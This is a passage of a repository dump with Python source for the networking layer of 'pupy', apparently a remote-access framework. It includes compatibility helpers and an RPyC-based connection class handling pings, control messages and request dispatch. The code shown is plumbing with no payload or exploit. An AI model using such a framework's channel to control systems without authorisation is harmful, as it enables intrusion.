     __slots__ = ('format', 'size')\n\n        def __init__(self, format):\n            self.format = format\n            self.size = struct.calcsize(format)\n\n        def pack(self, *args):\n            return struct.pack(self.format, *args)\n\n        def unpack(self, data):\n            return struct.unpack(self.format, data)\n\n\nif sys.version_info[0] < 3:\n    from cStringIO import StringIO as BytesIO\nelse:\n    from io import BytesIO\n\n\ntry:\n    next = next\nexcept NameError:\n    def next(iterator):\n        return iterator.next()\n\ntry:\n    import cPickle as pickle\nexcept ImportError:\n    import pickle\n\ntry:\n    callable = callable\nexcept NameError:\n    def callable(obj):\n        return hasattr(obj, '__call__')\n\ntry:\n    import select as select_module\nexcept ImportError:\n    select_module = None\n\n    def select(*args):\n        raise ImportError('select not supported on this platform')\n\nelse:\n    # jython\n    if hasattr(select_module, 'cpython_compatible_select'):\n        from select import cpython_compatible_select as select\n    else:\n        from select import select\n\n\ndef get_exc_errno(exc):\n    if hasattr(exc, 'errno'):\n        return exc.errno\n    else:\n        return exc[0]\n\n\nif select_module:\n    select_error = select_module.error\nelse:\n    select_error = IOError\n\n\nif hasattr(select_module, 'poll'):\n\n    class PollingPoll(object):\n        def __init__(self):\n            self._poll = select_module.poll()\n\n        def register(self, fd, mode):\n            flags = 0\n            if 'r' in mode:\n                flags |= select_module.POLLIN | select_module.POLLPRI\n            if 'w' in mode:\n                flags |= select_module.POLLOUT\n            if 'e' in mode:\n                flags |= select_module.POLLERR\n            if 'h' in mode:\n                # POLLRDHUP is a linux only extension, not known to python, but nevertheless\n                # used and thus needed in the flags\n                POLLRDHUP = 0x2000\n                flags |= select_module.POLLHUP | select_module.POLLNVAL | POLLRDHUP\n\n            self._poll.register(fd, flags)\n\n        modify = register\n\n        def unregister(self, fd):\n            self._poll.unregister(fd)\n\n        def poll(self, timeout = None):\n            if timeout:\n                # the real poll takes milliseconds while we have seconds here\n                timeout = 1000*timeout\n\n            events = self._poll.poll(timeout)\n            processed = []\n\n            for fd, evt in events:\n                mask = ''\n                if evt & (select_module.POLLIN | select_module.POLLPRI):\n                    mask += 'r'\n                if evt & select_module.POLLOUT:\n                    mask += 'w'\n                if evt & select_module.POLLERR:\n                    mask += 'e'\n                if evt & select_module.POLLHUP:\n                    mask += 'h'\n                if evt & select_module.POLLNVAL:\n                    mask += 'n'\n                processed.append((fd, mask))\n            return processed\n\n    poll = PollingPoll\n\nelse:\n    class SelectingPoll(object):\n\n        def __init__(self):\n            self.rlist = set()\n            self.wlist = set()\n\n        def register(self, fd, mode):\n            if 'r' in mode:\n                self.rlist.add(fd)\n            if 'w' in mode:\n                self.wlist.add(fd)\n\n        modify = register\n\n        def unregister(self, fd):\n            self.rlist.discard(fd)\n            self.wlist.discard(fd)\n\n        def poll(self, timeout = None):\n            if not self.rlist and not self.wlist:\n                time.sleep(timeout)\n                return []  # need to return an empty array in this case\n            else:\n                rl, wl, _ = select(self.rlist, self.wlist, (), timeout)\n                return [(fd, 'r') for fd in rl] + [(fd, 'w') for fd in wl]\n\n    poll = SelectingPoll\n\n\n\n# From six.py\n\ndef with_metaclass(meta, *bases):\n    ''' Create a base class with a metaclass. '''\n    # This requires a bit of explanation: the basic idea is to make a dummy\n    # metaclass for one level of class instantiation that replaces itself with\n    # the actual metaclass.\n    class metaclass(type):\n\n        def __new__(cls, name, this_bases, d):\n            return meta(name, bases, d)\n\n        @classmethod\n        def __prepare__(cls, name, this_bases):\n            return meta.__prepare__(name, bases)\n\n    return type.__new__(\n        metaclass,\n        str('temporary_class'), (), {}\n    )\n\n"
  },
  {
    "path": "pupy/network/lib/connection.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = (\n    'SyncRequestDispatchQueue',\n    'PupyConnection',\n    'PupyConnectionThread'\n)\n\nimport sys\nimport time\nimport weakref\nimport traceback\n\nfrom threading import Thread, Lock, current_thread\n\nif sys.version_info.major > 2:\n    from queue import Queue, Full, Empty\nelse:\n    from Queue import Queue, Full, Empty\n\nfrom pupy.network.lib import getLogger\n\nfrom pupy.network.lib.ack import Ack\nfrom pupy.network.lib.buffer import Buffer\n\nfrom pupy.network.lib.rpc.core import Connection, consts, brine, netref\nfrom pupy.network.lib.rpc.core.consts import (\n    HANDLE_PING, HANDLE_CLOSE, HANDLE_GETROOT,\n    HANDLE_DIR, HANDLE_HASH, HANDLE_DEL\n)\n\nlogger = getLogger('pconn')\nsynclogger = getLogger('sync')\nsyncqueuelogger = getLogger('syncqueue')\n\n\nFAST_CALLS = (\n    HANDLE_PING, HANDLE_CLOSE, HANDLE_GETROOT,\n\n    HANDLE_DIR, HANDLE_HASH, HANDLE_DEL\n)\n\nPY2TO3_CALLATTRS = (\n    '__getitem__', '__delitem__', '__setitem__',\n    '__getattr__', '__delattr__', '__setattr__',\n    '__getattribute__'\n)\n\nCONTROL_NOP = 0\nCONTROL_ENABLE_BRINE_EXT_V1 = 1\n\n\n# Monkeypatch brine to be buffer firendly\n\n\nBRINE_VER_1 = 1\nPING_V1_CONTROL_MAGIC = b'\\x00CTRL\\x00V1'\n\n\ndef stream_dump(obj, version=0):\n    buf = Buffer()\n    brine._dump(obj, buf, version)\n    return buf\n\n\n# Py2: bytes == str\n@brine.register(brine._dump_registry, bytes)\ndef _dump_bytes_to_buffer(obj, stream, version):\n    obj_len = len(obj)\n    if obj_len == 0:\n        stream.append(brine.TAG_EMPTY_STR)\n        return\n    elif obj_len < 5:\n        if obj_len == 1:\n            stream.append(brine.TAG_STR1)\n        elif obj_len == 2:\n            stream.append(brine.TAG_STR2)\n        elif obj_len == 3:\n            stream.append(brine.TAG_STR3)\n        elif obj_len == 4:\n            stream.append(brine.TAG_STR4)\n    else:\n        if obj_len < 256:\n            stream.append(brine.TAG_STR_L1 + brine.I1.pack(obj_len))\n        else:\n            stream.append(brine.TAG_STR_L4 + brine.I4.pack(obj_len))\n\n    stream.append(obj)\n\n\n@brine.register(brine._dump_registry, Buffer)\ndef _dump_buffer_to_buffer(obj, stream, version):\n    stream.append(brine.TAG_STR_L4 + brine.I4.pack(len(obj)))\n    stream.append(obj)\n\n\nbrine.simple_types = list(brine.simple_types)\nbrine.simple_types.append(Buffer)\nbrine.dump = stream_dump\n\n################################################################\n\n\nclass SyncRequestDispatchQueue(object):\n    MAX_TASK_ACK_TIME = 0.5\n\n    instance = None\n\n    def __init__(self):\n        self._queue = Queue(maxsize=256)\n        self._workers = 1\n        self._pending_workers = 0\n        self._workers_lock = Lock()\n        self._primary_worker = Thread(\n            target=self._dispatch_request_worker,\n            name=\"Primary SyncQueue Dispatcher\"\n        )\n        self._primary_worker.daemon = True\n        self._primary_worker.start()\n        self._closed = False\n        self._max_workers = 1\n        self._promise = 0\n\n    @staticmethod\n    def get_queue():\n        if not SyncRequestDispatchQueue.instance:\n            SyncRequestDispatchQueue.instance = SyncRequestDispatchQueue()\n\n        return SyncRequestDispatchQueue.instance\n\n    def _dispatch_request_worker(self):\n\n        name = current_thread().name\n\n        if __debug__:\n            syncqueuelogger.debug('New Worker(%s)', name)\n\n        task = self._queue.get()\n        while task and not self._closed:\n            ack, on_error, func, args = task\n\n            with self._workers_lock:\n                ack.set()\n                self._pending_workers += 1\n\n            try:\n                if __debug__:\n                    syncqueuelogger.debug('Process task(%s) - start', name)\n\n                func(*args)\n\n                if __debug__:\n                    syncqueuelogger.debug('Process task(%s) - complete', name)\n\n            except Exception as e:\n                if __debug__:\n                    syncqueuelogger.debug(\n                        'Process task(%s) - exception: func=%s args=%s '\n                        'exc:%s/%s', name, func, args, type(e), e\n                    )\n\n                if on_error:\n                    on_error(e)\n\n            del func, args\n\n            with self._workers_lock:\n                self._queue.task_done()\n                self._pending_workers -= 1\n\n            again = False\n            task = None\n\n            try:\n                task = self._queue.get_nowait()\n                if __debug__:\n                    syncqueuelogger.debug('Task acquired(%s) (no wait)', name)\n\n            except Empty:\n                with self._workers_lock:\n                    if not self._closed and (\n                        self._promise or self._workers <=\n                            self._pending_workers + 1):\n                        again = True\n                    else:\n                        self._workers -= 1\n\n            if again:\n                if __debug__:\n                    syncqueuelogger.debug(\n                        'Wait for task to be queued(%s)', name\n                    )\n\n                task = self._queue.get()\n\n                if __debug__:\n                    syncqueuelogger.debug('Task acquired(%s)', name)\n\n        if __debug__:\n            if not task:\n                syncqueuelogger.debug(\n                    'Worker(%s) closed by explicit request', name\n                )\n\n    def __call__(self, on_error, func, *args):\n        with self._workers_lock:\n            self._promise += 1\n\n        ack = Ack()\n        queued = False\n\n        while not ack.is_set():\n            if not queued:\n                try:\n                    if __debug__:\n                        syncqueuelogger.debug('Queue task')\n\n                    self._queue.put_nowait((ack, on_error, func, args))\n\n                    if __debug__:\n                        syncqueuelogger.debug('Task queued')\n\n                    with self._workers_lock:\n                        self._promise -= 1\n\n                    queued = True\n\n                except Full:\n                    if __debug__:\n                        syncqueuelogger.debug(\n                            'Task not queued - no empty slots. '\n                            'Launch new worker (%s, %s)',\n                            self, self._pending_workers\n                        )\n\n                        pass\n\n            if not queued or not ack.wait(\n                    timeout=self.MAX_TASK_ACK_TIME, probe=0.1):\n                with self._workers_lock:\n                    if self._closed:\n                        if __debug__:\n                            syncqueuelogger.debug(\n                                'Queue (%s) closed, do not start new worker',\n                                self\n                            )\n\n                    self._workers += 1\n                    if self._workers > self._max_workers:\n                        self._max_workers = self._workers\n\n                        if __debug__:\n                            syncqueuelogger.info(\n                                'Max workers(%s): %s',\n                                self, self._max_workers)\n\n                    thread = Thread(\n                        target=self._dispatch_request_worker,\n                        name=\"SyncQueue Dispatcher\"\n                    )\n                    thread.daemon = True\n                    thread.start()\n\n    def close(self):\n        with self._workers_lock:\n            self._closed = True\n\n            if __debug__:\n                syncqueuelogger.debug('Queue(%s) closing: %s', self)\n\n            try:\n                while True:\n                    try:\n                        self._queue.put_nowait(None)\n                    except Full:\n                        break\n\n            except Exception as e:\n                if __debug__:\n                    syncqueuelogger.exception(\n                        'Queue(%s) close: error: %s', self, e\n                    )\n\n            if __debug__:\n                syncqueuelogger.debug('Queue(%s) closed', self)\n\n\nclass PupyClientCababilities(object):\n    __slots__ = ('_storage', '_version', '_acked')\n\n    def __init__(self, version=0):\n        self._storage = 0\n        self._version = version\n        self._acked = True\n\n    def set(self, cap):\n        self._storage |= cap\n\n    def get(self, cap):\n        return self._storage & cap == cap\n\n    @property\n    def version(self):\n        return self._version\n\n    @version.setter\n    def version(self, version):\n        if self._version != version:\n            self._acked = False\n\n        self._version = version\n\n    def ack(self):\n        result = self._acked\n        self._acked = True\n        return result\n\n\nclass PupyConnection(Connection):\n    __slots__ = (\n        '_initialized', '_deinitialized', '_closing',\n        '_close_lock', '_sync_events_lock',\n        '_async_events_lock', '_sync_events',\n        '_sync_raw_replies', '_sync_raw_exceptions',\n        '_last_recv', '_ping', '_ping_timeout',\n        '_serve_timeout', '_last_ping', '_default_serve_timeout',\n        '_queue', '_config', '_timer_event', '_timer_event_last',\n        '_client_capabilities', '_3to2_mode'\n    )\n\n    def __repr__(self):\n        return 'PC:{}'.format(self._config['connid'])\n\n    def __init__(self, pupy_srv, *args, **kwargs):\n        self._close_lock = Lock()\n        self._sync_events_lock = Lock()\n        self._async_events_lock = Lock()\n\n        self._sync_events = {}\n        self._sync_raw_replies = {}\n        self._sync_raw_exceptions = {}\n\n        self._last_recv = time.time()\n        self._ping = True\n        self._ping_timeout = 60\n        self._serve_timeout = 600\n        self._last_ping = None\n        self._default_serve_timeout = 5\n        self._queue = SyncRequestDispatchQueue.get_queue()\n\n        self._timer_event = None\n        self._timer_event_last = None\n        self._initialized = False\n        self._deinitialized = False\n        self._closing = False\n\n        self._client_capabilities = PupyClientCababilities()\n        self._3to2_mode = False\n\n        if 'ping' in kwargs:\n            ping = kwargs.pop('ping')\n        else:\n            ping = None\n\n        if 'timeout' in kwargs:\n            timeout = kwargs.pop('timeout')\n        else:\n            timeout = None\n\n        if 'timer_event' in kwargs:\n            self._timer_event = kwargs.pop('timer_event')\n\n        if ping or timeout:\n            self.set_pings(ping, timeout)\n\n        kwargs['_lazy'] = True\n        Connection.__init__(self, *args, **kwargs)\n        if pupy_srv:\n            self._local_root.pupy_srv = pupy_srv\n\n        if 'config' in kwargs:\n            self._config.update(kwargs['config'])\n\n        next(self._seqcounter)\n\n        logger.debug('New PupyConnection: (%s)', self)\n\n    def _on_sync_request_exception(self, exc):\n        if __debug__:\n            logger.exception(\n                'Connection(%s) - sync request exception %s',\n                self, exc\n            )\n\n        if not isinstance(exc, EOFError):\n            logger.exception('%s: %s', self, exc)\n\n        self.close()\n\n    # def _netref_factory(self, oid, clsname, modname):\n    #     return super(PupyConnection, self)._netref_factory(\n    #         oid, clsname, modname\n    #     )\n\n    def consume(self):\n        return self._channel.consume()\n\n    def wake(self):\n        self._channel.wake()\n\n    def activate_3to2(self):\n        self._3to2_mode = True\n\n    def is_3to2(self):\n        return self._3to2_mode\n\n    def set_pings(self, ping=None, timeout=None):\n        if ping is not None:\n            try:\n                self._serve_timeout = int(ping)\n            except ValueError:\n                self._serve_timeout = 10\n\n                self._ping = ping and ping not in (\n                    '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'\n                )\n\n            self._ping = bool(ping)\n\n        if timeout:\n            try:\n                self._ping_timeout = int(timeout)\n            except ValueError:\n                self._ping_timeout = 2\n\n        return self.get_pings()\n\n    def _handle_ping(self, data):\n        if data.startswith(PING_V1_CONTROL_MAGIC):\n            payload = brine.load(data[len(PING_V1_CONTROL_MAGIC):])\n            self._dispatch_pupy_control(*payload)\n            return b''\n\n        return data\n\n    def get_pings(self):\n        if self._ping:\n            return self._serve_timeout, self._ping_timeout\n        else:\n            return None, None\n\n    def sync_request(self, handler, *args):\n        try:\n            seq = self._send_request(handler, args)\n        except EOFError:\n            self.close()\n            raise\n\n        if __debug__:\n            trace = traceback.extract_stack()\n            if len(trace) >= 4:\n                synclogger.debug(\n                    'Sync request wait(%s): %s / %s:%s %s (%s)',\n                    self, seq, *trace[-4]\n                )\n\n        self._sync_events[seq].wait()\n\n        if __debug__:\n            synclogger.debug(\n                'Sync request wait(%s): %s - complete', self, seq)\n\n        del self._sync_events[seq]\n\n        if __debug__:\n            synclogger.debug('Sync request process(%s): %s', self, seq)\n\n        is_response = False\n        is_exception = False\n\n        with self._sync_events_lock:\n            is_response = seq in self._sync_raw_replies\n            is_exception = seq in self._sync_raw_exceptions\n\n        if is_response:\n            if __debug__:\n                synclogger.debug(\n                    'Dispatch sync reply(%s): %s - start', self, seq)\n\n            Connection._dispatch_reply(\n                self, seq, self._sync_raw_replies.pop(seq),\n                self._client_capabilities.version\n            )\n\n            if __debug__:\n                synclogger.debug(\n                    'Dispatch sync reply(%s): %s - complete', self, seq)\n\n        if is_exception:\n            if __debug__:\n                synclogger.debug(\n                    'Dispatch sync exception(%s): %s - start', self, seq\n                )\n                synclogger.debug(\n                    'Dispatch sync exception(%s): %s - handler = %s(%s) '\n                    'args = %s',\n                    self, seq,\n                    self._HANDLERS[handler], handler,\n                    repr(args)\n                )\n\n            Connection._dispatch_exception(\n                self, seq, self._sync_raw_exceptions.pop(seq),\n                self._client_capabilities.version\n            )\n\n            if __debug__:\n                synclogger.debug(\n                    'Dispatch sync exception(%s): %s - complete', self, seq)\n\n        if __debug__:\n            synclogger.debug(\n                'Sync request(%s): %s - complete', self, seq)\n\n        if self.closed:\n            raise EOFError(\n                'Connection was closed, seq({}): {}'.format(self, seq))\n\n        isexc, obj = self._sync_replies.pop(seq)\n        if isexc:\n            raise obj\n        else:\n            return obj\n\n    def _send_control(self, code, data=None, timeout=None):\n        # Use PING command to send controls\n        # For compatibility\n\n        payload = brine.dump((code, data))\n        payload.insert(PING_V1_CONTROL_MAGIC)\n\n        return self.async_request(\n            consts.HANDLE_PING, payload, timeout=timeout\n        )\n\n    def _py2to3_conv(self, handler, args):\n        if handler in (consts.HANDLE_GETATTR, consts.HANDLE_DELATTR):\n            oid, name = args\n            return (oid, name.encode('utf-8'))\n        elif handler == consts.HANDLE_SETATTR:\n            oid, name, value = args\n            return (oid, name.encode('utf-8'), value)\n        elif handler == consts.HANDLE_CALLATTR:\n            oid, name, args, kwargs = args\n\n            if name in PY2TO3_CALLATTRS:\n                first, rest = args[0], args[1:]\n                first = first.encode('utf-8')\n                args = [first]\n                args.extend(rest)\n                args = tuple(args)\n\n            if kwargs is not None:\n                kwargs = tuple(\n                    (key.encode('utf-8'), value)\n                    for (key, value) in kwargs\n                )\n\n            return (oid, name.encode('utf-8'), args, kwargs)\n        elif handler == consts.HANDLE_CALL:\n            oid, args, kwargs = args\n\n            if kwargs is not None:\n                kwargs = tuple(\n                    (key.encode('utf-8'), value)\n                    for (key, value) in kwargs\n                )\n\n            return (oid, args, kwargs)\n\n        return args\n\n    def _netref_factory(self, oid, clsname, modname):\n        typeinfo = (clsname, modname)\n        if typeinfo in self._netref_classes_cache:\n            # print(\"Use cached netref\", typeinfo)\n            cls = self._netref_classes_cache[typeinfo]\n        elif not self._3to2_mode and typeinfo in netref.builtin_classes_cache:\n            # print(\"Use builtin netref\", typeinfo)\n            cls = netref.builtin_classes_cache[typeinfo]\n        else:\n            info = self.sync_request(consts.HANDLE_INSPECT, oid)\n            cls = netref.class_factory(\n                clsname, modname, info\n            )\n            self._netref_classes_cache[typeinfo] = cls\n            # print(\"Use inspect netref\", typeinfo, \"as\", cls, \"info\", info)\n        return cls(weakref.ref(self), oid)\n\n    def _send_request(self, handler, args, nowait=None):\n        if self._3to2_mode:\n            args = self._py2to3_conv(handler, args)\n            # print(\"SEND REQUEST\", handler, args)\n\n        seq = next(self._seqcounter)\n        if nowait:\n            if __debug__:\n                logger.debug('Async request(%s): %s', self, seq)\n\n            self._async_callbacks[seq] = nowait\n        else:\n            if __debug__:\n                synclogger.debug('Sync request(%s): %s', self, seq)\n\n            self._sync_events[seq] = Ack()\n\n        self._send(\n            consts.MSG_REQUEST, seq, (\n                handler, self._box(\n                    args, self._client_capabilities.version\n                )\n            ),\n            self._client_capabilities.version\n        )\n\n        if __debug__:\n            synclogger.debug('Request submitted(%s): %s', self, seq)\n\n        return seq\n\n    def _async_request(self, handler, args=(), callback=(lambda a, b: None)):\n        self._send_request(handler, args, nowait=callback)\n\n    def _dispatch_reply(self, seq, raw):\n        if __debug__:\n            logger.debug('Dispatch reply(%s): %s - start', self, seq)\n\n        self._last_recv = time.time()\n\n        is_sync = False\n        with self._async_events_lock:\n            is_sync = seq not in self._async_callbacks\n\n        if is_sync:\n            self._sync_raw_replies[seq] = raw\n            if __debug__:\n                logger.debug(\n                    'Dispatch sync reply(%s): %s - pass', self, seq)\n            self._sync_events[seq].set()\n\n        else:\n            # We hope here that this request will not block x_x\n            if __debug__:\n                logger.debug(\n                    'Dispatch async reply(%s): %s - start', self, seq)\n\n            Connection._dispatch_reply(\n                self, seq, raw,\n                self._client_capabilities.version\n            )\n\n            if __debug__:\n                logger.debug(\n                    'Dispatch async reply(%s): %s - complete', self, seq)\n\n    def _dispatch_exception(self, seq, raw):\n        if __debug__:\n            logger.debug('Dispatch exception(%s): %s', self, seq)\n\n        self._last_recv = time.time()\n\n        is_sync = False\n        with self._async_events_lock:\n            is_sync = seq not in self._async_callbacks\n\n        if is_sync:\n            self._sync_raw_exceptions[seq] = raw\n            if __debug__:\n                logger.debug(\n                    'Dispatch sync exception(%s): %s - pass',\n                    self, seq\n                )\n            self._sync_events[seq].set()\n        else:\n            if __debug__:\n                logger.debug(\n                    'Dispatch async reply(%s): %s - start', self, seq)\n\n            Connection._dispatch_exception(\n                self, seq, raw,\n                self._client_capabilities.version\n            )\n\n            if __debug__:\n                logger.debug(\n                    'Dispatch async reply(%s): %s - complete', self, seq)\n\n    def _close_rpyc(self, _catchall=True):\n        if self._closed:\n            return\n\n        self._closed = True\n\n        if __debug__:\n            trace = traceback.extract_stack()\n            if len(trace) >= 2:\n                logger.debug(\n                    'Connection(%s) - close - start (at: %s:%s %s(%s))',\n                    self, *trace[-2]\n                )\n\n        try:\n            self._async_request(consts.HANDLE_CLOSE)\n        except EOFError as e:\n            logger.info(\n                'Connection(%s) - close - notification failed '\n                'because of EOF (%s)', self, e)\n\n        except Exception:\n            if not _catchall:\n                raise\n\n    def _close_chan(self, _catchall=True):\n        if self._deinitialized:\n            if __debug__:\n                logger.debug('Connection(%s) - already deinitialized', self)\n\n            return\n\n        self._deinitialized = True\n\n        try:\n            if __debug__:\n                logger.debug('Connection(%s) - cleanup', self)\n\n            self._cleanup(_anyway=True)\n\n            if self._channel and hasattr(self._channel, 'wake'):\n                if __debug__:\n                    logger.debug(\n                        'Connection(%s) - wake buf_in (%s)',\n                        self, self._channel\n                    )\n\n                self._channel.wake()\n\n        except Exception as e:\n            if __debug__:\n                logger.debug(\n                    'Connection(%s) - cleanup exception - %s', self, e\n                )\n            pass\n\n        if __debug__:\n            logger.debug('Connection(%s) - cleanup locks', self)\n\n        with self._sync_events_lock:\n            for lock in self._sync_events.values():\n                try:\n                    lock.set()\n                except Exception as e:\n\n                    if __debug__:\n                        logger.exception(\n                            'Connection(%s) - ack failed: %s', self, e)\n\n                    pass\n\n        if __debug__:\n            try:\n                logger.debug('Connection(%s) - closed:', self)\n            except Exception as e:\n                logger.exception(e)\n\n    def close(self, _catchall=True):\n        with self._close_lock:\n            if self._closing:\n                return\n\n            self._closing = True\n\n        try:\n            self._close_rpyc(_catchall)\n        except Exception as e:\n            if __debug__:\n                logger.exception('Connection(%s) - rpyc close - %s', self, e)\n\n            pass\n\n        try:\n            self._close_chan(_catchall)\n        except Exception as e:\n            if __debug__:\n                logger.exception('Connection(%s) - chan close - %s', self, e)\n\n            pass\n\n    @property\n    def inactive(self):\n        return time.time() - self._last_recv\n\n    def serve(self, timeout=None):\n        raise NotImplementedError('Serve method should not be used!')\n\n    def _init_service_with_notify(self, timeout):\n        def check_timeout(promise):\n            now = time.time()\n\n            logger.debug('Check timeout(%s) - start', self)\n\n            while (time.time() - now < timeout) and not self.closed:\n                if promise.expired:\n                    logger.info('Check timeout(%s) - failed', self)\n                    self.close()\n                    break\n                elif promise.ready:\n                    logger.debug('Check timeout(%s) - ok', self)\n                    self._initialized = True\n                    break\n                else:\n                    time.sleep(1)\n\n        if self._local_root:\n            promise = self._send_control(\n                CONTROL_ENABLE_BRINE_EXT_V1, timeout=timeout\n            )\n\n            t = Thread(\n                target=check_timeout, args=(promise,),\n                name=\"PupyConnection({}) Timeout check\".format(self)\n            )\n            t.daemon = True\n            t.start()\n\n            try:\n                self._init_service()\n            except AttributeError as e:\n                if __debug__:\n                    logger.exception('Init service failed: %s', e)\n                # Connection was broken in the middle\n                raise EOFError('Connection was broken in the middle')\n        else:\n            logger.debug('Local root is absent')\n\n    def init(self, timeout=60):\n        self._queue(\n            self._on_sync_request_exception,\n            self._init_service_with_notify,\n            timeout\n        )\n\n    def loop(self):\n        if __debug__:\n            logger.debug('Serve loop(%s) started', self)\n\n        if not self._timer_event_last:\n            self._timer_event_last = time.time()\n\n        while not self.closed:\n            if self._timer_event:\n                period, callback = self._timer_event\n\n                if self._timer_event_last + period < time.time():\n                    try:\n                        callback()\n                    except Exception as e:\n                        logger.exception(\n                            'Callback exception(%s): %s: %s',\n                            self, type(e), e)\n\n            try:\n                timeout = None\n                if not self._initialized:\n                    timeout = 1\n\n                data = self._serve(timeout)\n\n                self._dispatch(data)\n                continue\n\n            except EOFError as e:\n                logger.info('Serve loop(%s) - EOF (%s)', self, e)\n\n            except Exception as e:\n                logger.exception(\n                    'Exception(%s): %s: %s', self, type(e), e)\n\n            break\n\n        if __debug__:\n            logger.debug('Serve loop(%s) completed', self)\n\n        self.close()\n\n    def _serve(self, timeout=None):\n        ''' Check timeouts every serve cycle '''\n\n        interval, ping_timeout = self.get_pings()\n\n        if timeout is None:\n            timeout = interval or self._default_serve_timeout\n\n        now = time.time()\n        mintimeout = timeout\n\n        data = None\n\n        for async_event_id in self._async_callbacks.keys():\n            async_event = self._async_callbacks.get(async_event_id, None)\n            if not async_event:\n                continue\n\n            if not hasattr(async_event, '_ttl') or not async_event._ttl:\n                continue\n\n            if async_event._ttl < now:\n                raise EOFError('Async timeout! ({})'.format(self))\n\n            etimeout = async_event._ttl - now\n\n            if __debug__:\n                logger.debug(\n                    'Check timeouts: (%s) etimeout = %s / mintimeout = %s /'\n                    ' ttl = %s',\n                    self, etimeout, mintimeout, async_event._ttl\n                )\n\n            if mintimeout is None or etimeout < mintimeout:\n                mintimeout = etimeout\n\n        timeout = mintimeout\n\n        if __debug__:\n            logger.debug(\n                'Serve(%s): start / timeout = %s / interval = %s '\n                '/ ping timeout = %s / %s',\n                self, timeout, interval, ping_timeout, self._last_ping\n            )\n\n        data = self._recv(timeout, wait_for_lock=False)\n\n        if __debug__:\n            logger.debug(\n                'Serve(%s): complete / data = %s',\n                self, len(data) if data else None\n            )\n\n        if not data and interval and ping_timeout:\n            if not self._last_ping or now > self._last_ping + interval:\n                if __debug__:\n                    logger.debug(\n                        'Send ping, interval(%s): %d, timeout: %d',\n                        self, interval, ping_timeout\n                    )\n\n                self._last_ping = self.ping(timeout=ping_timeout, now=now)\n            else:\n                if __debug__:\n                    logger.debug(\n                        'Ping not required(%s): %d < %d',\n                        self, self._last_ping or now,\n                        self._last_ping + interval\n                    )\n\n        return data\n\n    def is_extended(self):\n        return self._client_capabilities.version > 0\n\n    def _dispatch_pupy_control(self, code, *args):\n        if __debug__:\n            logger.debug(\n                'Processing pupy brine control: args: %s', args\n            )\n\n        if code == CONTROL_ENABLE_BRINE_EXT_V1:\n            self._client_capabilities.version = 1\n\n            if not self._client_capabilities.ack():\n                self._send_control(CONTROL_ENABLE_BRINE_EXT_V1)\n\n            if __debug__:\n                logger.debug('Client supports brine extensions V1')\n\n    def _dispatch(self, data):\n        if __debug__:\n            logger.debug('Dispatch(%s) start', self)\n\n        now = time.time()\n\n        if data:\n            if __debug__:\n                logger.debug('Dispatch(%s) - data (%s)', self, len(data))\n\n            msg, seq, args = brine._load(\n                data, self._client_capabilities.version\n            )\n\n            if msg == consts.MSG_REQUEST:\n                if __debug__:\n                    logger.debug(\n                        'Processing message request, type(%s): '\n                        '%s seq: %s - started',\n                        self, args[0], seq\n                    )\n\n                handler = args[0]\n\n                if handler in FAST_CALLS:\n                    self._dispatch_request(\n                        seq, args, self._client_capabilities.version\n                    )\n                else:\n                    self._queue(\n                        self._on_sync_request_exception,\n                        self._dispatch_request,\n                        seq, args, self._client_capabilities.version\n                    )\n\n            else:\n                if __debug__:\n                    logger.debug(\n                        'Processing message response, seq(%s): '\n                        '%s - started', self, seq\n                    )\n\n                if msg == consts.MSG_REPLY:\n                    self._dispatch_reply(seq, args)\n                elif msg == consts.MSG_EXCEPTION:\n                    self._dispatch_exception(seq, args)\n                else:\n                    raise ValueError(\"invalid message type: %r\" % (msg,))\n\n                if __debug__:\n                    logger.debug(\n                        'Processing message, seq(%s): '\n                        '%s - completed', self, seq\n                    )\n\n            self._last_ping = now\n\n        elif self.closed:\n            if __debug__:\n                logger.debug('Dispatch interrupt(%s) - closed', self)\n\n            return\n        else:\n            if __debug__:\n                logger.debug('Dispatch(%s) - no data', self)\n\n        for async_event_id in self._async_callbacks.keys():\n            async_event = self._async_callbacks.get(async_event_id)\n            if not async_event:\n                continue\n\n            if not hasattr(async_event, '_ttl'):\n                continue\n\n            if async_event._ttl and async_event._ttl < now:\n                raise EOFError(\n                    'Async timeout! ({}, event={})'.format(self, async_event),\n                    async_event)\n\n    def defer(self, command, *args):\n        if not self.closed:\n            self._queue(command, *args)\n\n    def ping(self, timeout=30, now=None, block=False):\n        ''' RPyC do not have any PING handler. So.. why to wait? '''\n        now = now or time.time()\n        promise = self.async_request(\n            consts.HANDLE_PING, b'ping', timeout=timeout\n        )\n        if block:\n            promise.wait()\n\n        return now\n\n    Connection._HANDLERS[consts.HANDLE_PING] = _handle_ping\n\n\nclass PupyConnectionThread(Thread):\n    def __init__(self, *args, **kwargs):\n        if __debug__:\n            logger.debug('Create connection thread')\n\n        self.pupy_srv = args[0]\n        self.connection = PupyConnection(*args, **kwargs)\n\n        Thread.__init__(self)\n        self.daemon = True\n        self.name = 'PupyConnection({}) Thread'.format(self.connection)\n\n        if __debug__:\n            logger.debug(\n                'Create connection(%s) thread completed',\n                self.connection\n            )\n\n    def run(self):\n        if __debug__:\n            logger.debug('Run connection thread')\n\n        self.connection.init()\n        self.connection.loop()\n\n        if __debug__:\n            logger.debug('Connection thread closed')\n"
  },
  {
    "path": "pupy/network/lib/convcompat.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom sys import (\n    getfilesystemencoding, version_info, platform\n)\n\nimport locale\nimport unicodedata\nimport json\nimport codecs\n\ntextchars = bytearray(\n    {7, 8, 9, 10, 12, 13, 27} | set(range(0x20, 0x100)) - {0x7f}\n)\n\nTRY_ENCODINGS = (\n    'utf-8', 'utf-16le',\n    locale.getpreferredencoding(),\n    getfilesystemencoding()\n)\n\nDEFAULT_MB_ENCODING = 'utf-8'\n\n\nif version_info.major > 2:\n    import shlex\n\n    def reprb(value):\n        return repr(value)\n\n    def as_native_string(\n        value, fail=True, encoding=DEFAULT_MB_ENCODING,\n            internal_encoding=None):\n\n        # internal_encoding -- ignored\n        # In Py3 strings are in unicode\n\n        if isinstance(value, str):\n            return value\n\n        elif isinstance(value, bytes):\n            return value.decode(encoding)\n\n        elif fail == 'convert':\n            if value is None:\n                return ''\n            else:\n                return str(value)\n\n        elif not fail:\n            return value\n\n        raise TypeError(\n            'Invalid value type {}: {}'.format(\n                repr(value), type(value)\n            )\n        )\n\n    def 